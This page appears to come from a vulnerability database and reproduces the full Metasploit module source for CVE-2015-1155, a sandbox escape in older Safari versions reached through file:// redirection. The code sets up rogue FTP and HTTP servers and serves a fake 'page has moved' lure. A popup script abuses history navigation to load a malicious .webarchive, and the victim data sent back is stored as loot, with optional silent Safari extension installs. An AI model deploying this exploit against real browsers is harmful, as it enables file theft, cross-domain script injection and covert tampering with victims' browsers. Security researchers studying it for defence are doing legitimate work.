Lucene search
K

Mac OS X Safari file:// Redirection Sandbox Escape

🗓️ 23 Jun 2015 21:15:50Reported by joev <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 56 Views

Mac OS X Safari file:// Redirection Sandbox Escape. Vulnerable to a "state management issue" allowing navigation to file:// URL. Malicious .webarchive file can inject cross-domain Javascript, install Safari extensions

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::FtpServer
  include Msf::Exploit::Format::Webarchive
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Mac OS X Safari file:// Redirection Sandbox Escape',
      'Description' => %q{
        Versions of Safari before 8.0.6, 7.1.6, and 6.2.6 are vulnerable to a
        "state management issue" that allows a browser window to be navigated
        to a file:// URL. By dropping and loading a malicious .webarchive file,
        an attacker can read arbitrary files, inject cross-domain Javascript, and
        silently install Safari extensions.
      },
      'License'     => MSF_LICENSE,
      'Author'      => [
        'joev' # discovery, module
      ],
      'References'  => [
        ['ZDI', '15-228'],
        ['CVE', '2015-1155'],
        ['URL', 'https://support.apple.com/en-us/HT204826']
      ],
      'Platform'    => 'osx',
      'DisclosureDate' => '2014-01-16'
    ))


    register_options([
      OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']),
      OptPort.new('SRVPORT',   [true, "The local port to use for the FTP server", 8081]),
      OptPort.new('HTTPPORT',  [true, "The HTTP server port", 8080])
    ])
  end

  def lookup_lhost(c=nil)
    # Get the source address
    if datastore['SRVHOST'] == '0.0.0.0'
      Rex::Socket.source_address( c || '50.50.50.50')
    else
      datastore['SRVHOST']
    end
  end

  def on_request_uri(cli, req)
    if req.method =~ /post/i
      data_str = req.body.to_s
      begin
        data = JSON::parse(data_str || '')
        file = record_data(data, cli)
        send_response(cli, '')
        print_good "data #{data.keys.join(',')} received and stored to #{file}"
      rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up
        file = record_data(data_str, cli)
        print_error "Invalid JSON stored in #{file}"
        send_response(cli, '')
      end
    elsif req.uri =~ /#{popup_path}$/
      send_response(cli, 200, 'OK', popup_html)
    else
      send_response(cli, 200, 'OK', exploit_html)
    end
  end

  def ftp_user
    @ftp_user ||= Rex::Text.rand_text_alpha(6)
  end

  def ftp_pass
    @ftp_pass ||= Rex::Text.rand_text_alpha(6)
  end

  def exploit_html
    %Q|
      <html><body>
      <script>
        window.onclick = function() {
          window.open(window.location+'/#{popup_path}', 'x', 'width=1,height=1');
        }
      </script>
      The page has moved. <a href='#'>Click here</a> to be redirected.
      </body></html>
    |
  end

  def ftp_url
    "ftp://#{ftp_user}:#{ftp_pass}@#{lookup_lhost}:#{datastore['SRVPORT']}"
  end

  def popup_html
    %Q|
    <script>

      function perform() {
        if (arguments.length > 0) {
          var nextArgs = Array.prototype.slice.call(arguments, 1);
          arguments[0]();
          setTimeout(function() {
            perform.apply(null, nextArgs);
          }, 300);
        }
      }

      perform(
        function() { opener.location = 'http://localhost:99999'; },
        function() { history.pushState.call(opener.history, {}, {}, 'file:///'); },
        function() { opener.location = 'about:blank' },
        function() { opener.history.back(); },
        function() { window.location = '#{ftp_url}'; },
        function() { opener.location = 'http://localhost:99998'; },
        function() {
          history.pushState.call(
            opener.history, {}, {},
            'file:///Volumes/#{lookup_lhost}/#{payload_name}'
          );
        },
        function() { opener.location = 'about:blank'; },
        function() { opener.history.back(); },
        function() { if (#{datastore['INSTALL_EXTENSION']}) { opener.postMessage('EXT', '*'); window.location = '#{apple_extension_url}'; } else { window.close(); } }
      )

     </script>
    |
  end

  #
  # Handle FTP LIST request (send back the directory listing)
  #
  def on_client_command_list(c, arg)
    conn = establish_data_connection(c)
    if not conn
      c.put("425 Can't build data connection\r\n")
      return
    end

    print_status("Data connection setup")
    c.put("150 Here comes the directory listing\r\n")

    print_status("Sending directory list via data connection #{webarchive_size}")
    month_names = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']
    m = month_names[Time.now.month-1]
    d = Time.now.day
    y = Time.now.year

    dir = "-rwxr-xr-x 1 ftp ftp              #{webarchive_size} #{m} #{d}  #{y} #{payload_name}\r\n"
    print_status dir
    conn.put(dir)
    conn.close

    print_status("Directory sent ok")
    c.put("226 Transfer ok\r\n")

    return
  end

  #
  # Handle the FTP RETR request. This is where we transfer our actual malicious payload
  #
  def on_client_command_retr(c, arg)
    conn = establish_data_connection(c)
    if not conn
      return c.put("425 can't build data connection\r\n")
    end

    print_status("Connection for file transfer accepted")
    c.put("150 Connection accepted\r\n")

    # Send out payload
    conn.put(webarchive)
    conn.close
  end

  def volume_name
    @volume_name ||= Rex::Text.rand_text_alpha(12)
  end

  def payload_name
    'msf.webarchive'
  end

  def popup_path
    @popup_uri ||= Rex::Text.rand_text_alpha(12)
  end

  def webarchive
    webarchive_xml
  end

  def webarchive_size
    print_status "Webarchive_SiZE=#{webarchive_xml.length}"
    webarchive_xml.length
  end

  def run
    # Start the FTP server
    print_status("Running FTP service...")
    start_service

    # Create our own HTTP server
    # We will stay in this function until we manually terminate execution
    start_http
  end

  #
  # Handle the HTTP request and return a response.  Code borrorwed from:
  # msf/core/exploit/http/server.rb
  #
  def start_http(opts={})
    # Ensture all dependencies are present before initializing HTTP
    use_zlib

    comm = datastore['ListenerComm']
    if (comm.to_s == "local")
      comm = ::Rex::Socket::Comm::Local
    else
      comm = nil
    end

    # Default the server host / port
    opts = {
      'ServerHost' => datastore['SRVHOST'],
      'ServerPort' => datastore['HTTPPORT'],
      'Comm'       => comm
    }.update(opts)

    # Start a new HTTP server
    @http_service = Rex::ServiceManager.start(
      Rex::Proto::Http::Server,
      opts['ServerPort'].to_i,
      opts['ServerHost'],
      datastore['SSL'],
      {
        'Msf'        => framework,
        'MsfExploit' => self,
      },
      opts['Comm'],
      datastore['SSLCert']
    )

    @http_service.server_name = datastore['HTTP::server_name']

    # Default the procedure of the URI to on_request_uri if one isn't
    # provided.
    uopts = {
      'Proc' => Proc.new { |cli, req|
          on_request_uri(cli, req)
        },
      'Path' => resource_uri
    }.update(opts['Uri'] || {})

    proto = (datastore["SSL"] ? "https" : "http")
    print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")

    if (opts['ServerHost'] == '0.0.0.0')
      print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
    end

    # Add path to resource
    @service_path = uopts['Path']
    @http_service.add_resource(uopts['Path'], uopts)

    # As long as we have the http_service object, we will keep the ftp server alive
    while @http_service
      select(nil, nil, nil, 1)
    end
  end

  #
  # Ensures that gzip can be used.  If not, an exception is generated.  The
  # exception is only raised if the DisableGzip advanced option has not been
  # set.
  #
  def use_zlib
    if !Rex::Text.zlib_present? && datastore['HTTP::compression']
      fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set.  Don't do that!")
    end
  end

  #
  # Returns the configured (or random, if not configured) URI path
  #
  def resource_uri
    path = datastore['URIPATH'] || Rex::Text.rand_text_alphanumeric(8+rand(8))
    path = '/' + path if path !~ /^\//
    datastore['URIPATH'] = path
    return path
  end

  #
  # Create an HTTP response and then send it
  #
  def send_response(cli, code, message='OK', html='')
    proto = Rex::Proto::Http::DefaultProtocol
    res = Rex::Proto::Http::Response.new(code, message, proto)
    res['Content-Type'] = 'text/html'
    res.body = html

    cli.send_response(res)
  end

  # @param [Hash] data the data to store in the log
  # @return [String] filename where we are storing the data
  def record_data(data, cli)
    name = if data.is_a?(Hash) then data.keys.first else 'data' end
    file = File.basename(name).gsub(/[^A-Za-z]/,'')
    store_loot(
      file, "text/plain", cli.peerhost, data, "safari_webarchive", "Webarchive Collected Data"
    )
  end

  #
  # Kill HTTP/FTP (shut them down and clear resources)
  #
  def cleanup
    super

    # Kill FTP
    cleanup_service

    # clear my resource, deregister ref, stop/close the HTTP socket
    begin
      @http_service.remove_resource(datastore['URIPATH'])
      @http_service.deref
      @http_service = nil
    rescue
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation